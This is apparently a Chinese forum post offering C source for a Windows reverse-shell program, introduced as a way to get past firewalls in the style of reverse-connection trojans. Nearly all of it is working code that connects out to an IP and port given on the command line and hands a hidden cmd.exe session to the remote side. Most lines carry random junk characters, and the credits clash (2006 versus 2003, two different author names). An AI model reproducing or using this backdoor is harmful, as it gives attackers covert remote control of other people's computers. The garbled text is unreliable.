这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 L3X[; |v}
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Rebound port in Windows NT i9y&<^<W
By wind,2006/7 Y&`nB,'
===============================*/ qXQ7Jg9
#include zI3Bb?4.
#include X6:
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#pragma comment(lib,"wsock32.lib") 3+ r8yiY
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void OutputShell(); XDq*nA8#5B
SOCKET sClient; $F86Dwd
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ZfN%JJOz(
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void main(int argc,char **argv) EXYr_$gRs
{ ~@bh[o~rF
WSADATA stWsaData; Zae$M0)
int nRet; HWT^u$a"
SOCKADDR_IN stSaiClient,stSaiServer; k
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if(argc != 3) =
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{ n6 a=(T
printf("Useage:\n\rRebound DestIP DestPort\n"); /
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return; 69u"/7X
} &\GB_UA
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WSAStartup(MAKEWORD(2,2),&stWsaData); 7q[a8rUdh
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); S-k:+ 4
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stSaiClient.sin_family = AF_INET; 4q\bnt
stSaiClient.sin_port = htons(0); "i ;c )ZP
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Do5)ilt
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) V0x;*)\PYm
{ rSvQarT
printf("Bind Socket Failed!\n"); rik0F
return; $Y5m"wySZ
} 2bk~6Osp
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stSaiServer.sin_family = AF_INET; 6S#e?>"+
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); `aW>h8$I)
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ^5sO;vf
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) %Cz&7 qf"
{ na1*^S`[
printf("Connect Error!"); td#B$$[
return; 9vZD?6D,n
} N8^AH8l
OutputShell(); -r5JP[0kP
} Xn
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void OutputShell() kq kj.#u
{ %Z=%E!*
char szBuff[1024]; {FU,om9
SECURITY_ATTRIBUTES stSecurityAttributes; 8=U0\<wT
OSVERSIONINFO stOsversionInfo; TZk.?@s5
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 6eh\-+=
STARTUPINFO stStartupInfo; 2=PX1kI
char *szShell; tmJ-2
PROCESS_INFORMATION stProcessInformation; 54%@q[-
unsigned long lBytesRead; 'dstAlt?
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); #r}O =izi
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);
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stSecurityAttributes.lpSecurityDescriptor = 0; hY@rt,! 8
stSecurityAttributes.bInheritHandle = TRUE; Io81zA
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); W5^m[,GU'
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); w+NdEE4H9z
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ROyG+dUy
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; As;@T$G
stStartupInfo.wShowWindow = SW_HIDE; n@)Kf
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stStartupInfo.hStdInput = hReadPipe; zMf.
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ,33[/j
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GetVersionEx(&stOsversionInfo); $6evK~
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switch(stOsversionInfo.dwPlatformId) ju-tx
:
{ )oRF/Xx`g
case 1: '51 8S"T @
szShell = "command.com"; axSJ:j8
break; M[^
default: ueyz@{On~
szShell = "cmd.exe"; +;P8QZK6
break; %)$^_4.g
} i*Wekr3Wo
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); {WE1^&Vk-}
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send(sClient,szMsg,77,0); 9BJP|L%q
while(1) LK}Ih@f
{ &G)I|mv
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); h2SVDKj
if(lBytesRead) GxL;@%B
{ 0Y_?r$M
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); arR9uxP
send(sClient,szBuff,lBytesRead,0); 3~I|KF7x
} M?iU$qI
else BB?vc(d
{ *ydkx\pT
lBytesRead=recv(sClient,szBuff,1024,0); \pXs&}%1,F
if(lBytesRead<=0) break; SM;*vkwz~
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); OO Hw-MW
} ]ZD W+<
} `u zR!^X
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return; '@$YX*[
}